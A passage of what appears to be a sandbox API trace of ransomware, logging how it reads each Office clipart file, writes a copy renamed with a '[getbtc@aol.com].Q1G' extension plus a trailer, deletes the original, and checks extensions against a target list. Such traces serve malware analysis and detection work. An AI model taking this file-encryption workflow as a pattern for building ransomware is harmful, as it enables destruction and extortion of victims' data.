lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0259.518] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.518] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0259.519] GetLastError () returned 0x0 [0259.519] ReadFile (in: hFile=0x360, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x52e0, lpOverlapped=0x0) returned 1 [0259.585] WriteFile (in: hFile=0x1f4, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x52f0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x52f0, lpOverlapped=0x0) returned 1 [0259.586] ReadFile (in: hFile=0x360, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.586] WriteFile (in: hFile=0x1f4, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.586] SetEndOfFile (hFile=0x1f4) returned 1 [0259.586] CloseHandle (hObject=0x1f4) returned 1 [0259.586] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.586] SetEndOfFile (hFile=0x360) returned 1 [0259.589] CloseHandle (hObject=0x360) returned 1 [0259.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf")) returned 1 [0259.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0259.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0259.640] lstrlenW (lpString=".doc") returned 4 [0259.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.640] lstrlenW (lpString=".docx") returned 5 [0259.640] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0259.640] lstrlenW (lpString=".pdf") returned 4 [0259.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.640] lstrlenW (lpString=".xls") returned 4 [0259.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.640] lstrlenW (lpString=".xlsx") returned 5 [0259.640] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0259.640] lstrlenW (lpString=".ppt") returned 4 [0259.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0259.640] lstrlenW (lpString=".zip") returned 4 [0259.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.640] lstrlenW (lpString=".rar") returned 4 [0259.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.640] lstrlenW (lpString=".bz2") returned 4 [0259.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.640] lstrlenW (lpString=".7z") returned 3 [0259.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0259.640] lstrlenW (lpString=".dbf") returned 4 [0259.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0259.640] lstrlenW (lpString=".1cd") returned 4 [0259.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0259.640] lstrlenW (lpString=".jpg") returned 4 [0259.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0259.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0259.641] lstrlenW (lpString=".doc") returned 4 [0259.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.641] lstrlenW (lpString=".docx") returned 5 [0259.641] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0259.641] lstrlenW (lpString=".pdf") returned 4 [0259.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.641] lstrlenW (lpString=".xls") returned 4 [0259.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.641] lstrlenW (lpString=".xlsx") returned 5 [0259.641] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0259.641] lstrlenW (lpString=".ppt") returned 4 [0259.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0259.641] lstrlenW (lpString=".zip") returned 4 [0259.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.641] lstrlenW (lpString=".rar") returned 4 [0259.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.641] lstrlenW (lpString=".bz2") returned 4 [0259.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.641] lstrlenW (lpString=".7z") returned 3 [0259.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0259.641] lstrlenW (lpString=".dbf") returned 4 [0259.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0259.641] lstrlenW (lpString=".1cd") returned 4 [0259.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0259.641] lstrlenW (lpString=".jpg") returned 4 [0259.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.641] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0259.641] lstrlenW (lpString="J0107500.WMF") returned 12 [0259.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0259.642] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=4200) returned 1 [0259.642] CloseHandle (hObject=0x3a0) returned 1 [0259.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf")) returned 0x20 [0259.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0259.642] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.643] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.643] GetLastError () returned 0x0 [0259.643] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1068, lpOverlapped=0x0) returned 1 [0259.718] WriteFile (in: hFile=0x3a8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0259.719] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.719] WriteFile (in: hFile=0x3a8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.719] SetEndOfFile (hFile=0x3a8) returned 1 [0259.719] CloseHandle (hObject=0x3a8) returned 1 [0259.719] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.719] SetEndOfFile (hFile=0x3a0) returned 1 [0259.721] CloseHandle (hObject=0x3a0) returned 1 [0259.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf")) returned 1 [0259.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0259.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0259.726] lstrlenW (lpString=".doc") returned 4 [0259.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.729] lstrlenW (lpString=".docx") returned 5 [0259.730] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0259.731] lstrlenW (lpString=".pdf") returned 4 [0259.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.734] lstrlenW (lpString=".xls") returned 4 [0259.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.737] lstrlenW (lpString=".xlsx") returned 5 [0259.738] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0259.739] lstrlenW (lpString=".ppt") returned 4 [0259.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0259.743] lstrlenW (lpString=".zip") returned 4 [0259.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.744] lstrlenW (lpString=".rar") returned 4 [0259.746] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.747] lstrlenW (lpString=".bz2") returned 4 [0259.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.750] lstrlenW (lpString=".7z") returned 3 [0259.751] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0259.752] lstrlenW (lpString=".dbf") returned 4 [0259.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0259.756] lstrlenW (lpString=".1cd") returned 4 [0259.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0259.759] lstrlenW (lpString=".jpg") returned 4 [0259.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0259.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0259.764] lstrlenW (lpString=".doc") returned 4 [0259.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.767] lstrlenW (lpString=".docx") returned 5 [0259.768] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0259.770] lstrlenW (lpString=".pdf") returned 4 [0259.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.772] lstrlenW (lpString=".xls") returned 4 [0259.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.775] lstrlenW (lpString=".xlsx") returned 5 [0259.778] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0259.779] lstrlenW (lpString=".ppt") returned 4 [0259.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0259.782] lstrlenW (lpString=".zip") returned 4 [0259.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.784] lstrlenW (lpString=".rar") returned 4 [0259.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.786] lstrlenW (lpString=".bz2") returned 4 [0259.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.788] lstrlenW (lpString=".7z") returned 3 [0259.788] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0259.798] lstrlenW (lpString=".dbf") returned 4 [0259.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0259.811] lstrlenW (lpString=".1cd") returned 4 [0259.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0259.816] lstrlenW (lpString=".jpg") returned 4 [0259.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.256] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0260.274] lstrlenW (lpString="J0107516.WMF") returned 12 [0260.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0261.067] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=14008) returned 1 [0261.067] CloseHandle (hObject=0x3d8) returned 1 [0261.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf")) returned 0x20 [0261.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.150] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.150] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0261.151] GetLastError () returned 0x0 [0261.151] ReadFile (in: hFile=0x1b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x36b8, lpOverlapped=0x0) returned 1 [0261.161] WriteFile (in: hFile=0x3c4, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x36c0, lpOverlapped=0x0) returned 1 [0261.162] ReadFile (in: hFile=0x1b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.162] WriteFile (in: hFile=0x3c4, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.163] SetEndOfFile (hFile=0x3c4) returned 1 [0261.163] CloseHandle (hObject=0x3c4) returned 1 [0261.163] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.163] SetEndOfFile (hFile=0x1b8) returned 1 [0261.165] CloseHandle (hObject=0x1b8) returned 1 [0261.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf")) returned 1 [0261.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0261.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0261.168] lstrlenW (lpString=".doc") returned 4 [0261.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.168] lstrlenW (lpString=".docx") returned 5 [0261.168] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0261.168] lstrlenW (lpString=".pdf") returned 4 [0261.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.168] lstrlenW (lpString=".xls") returned 4 [0261.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.168] lstrlenW (lpString=".xlsx") returned 5 [0261.168] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0261.168] lstrlenW (lpString=".ppt") returned 4 [0261.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0261.168] lstrlenW (lpString=".zip") returned 4 [0261.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.168] lstrlenW (lpString=".rar") returned 4 [0261.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.168] lstrlenW (lpString=".bz2") returned 4 [0261.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.168] lstrlenW (lpString=".7z") returned 3 [0261.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0261.168] lstrlenW (lpString=".dbf") returned 4 [0261.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0261.168] lstrlenW (lpString=".1cd") returned 4 [0261.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0261.168] lstrlenW (lpString=".jpg") returned 4 [0261.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0261.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0261.168] lstrlenW (lpString=".doc") returned 4 [0261.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.169] lstrlenW (lpString=".docx") returned 5 [0261.169] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0261.169] lstrlenW (lpString=".pdf") returned 4 [0261.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.169] lstrlenW (lpString=".xls") returned 4 [0261.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.169] lstrlenW (lpString=".xlsx") returned 5 [0261.169] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0261.169] lstrlenW (lpString=".ppt") returned 4 [0261.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0261.169] lstrlenW (lpString=".zip") returned 4 [0261.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.169] lstrlenW (lpString=".rar") returned 4 [0261.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.169] lstrlenW (lpString=".bz2") returned 4 [0261.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.169] lstrlenW (lpString=".7z") returned 3 [0261.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0261.169] lstrlenW (lpString=".dbf") returned 4 [0261.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0261.169] lstrlenW (lpString=".1cd") returned 4 [0261.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0261.169] lstrlenW (lpString=".jpg") returned 4 [0261.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.169] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0261.169] lstrlenW (lpString="J0107544.WMF") returned 12 [0261.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.170] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=26768) returned 1 [0261.170] CloseHandle (hObject=0x1b8) returned 1 [0261.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf")) returned 0x20 [0261.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.170] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.170] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.id-9c354b42.[getbtc@aol.com].q1g"), 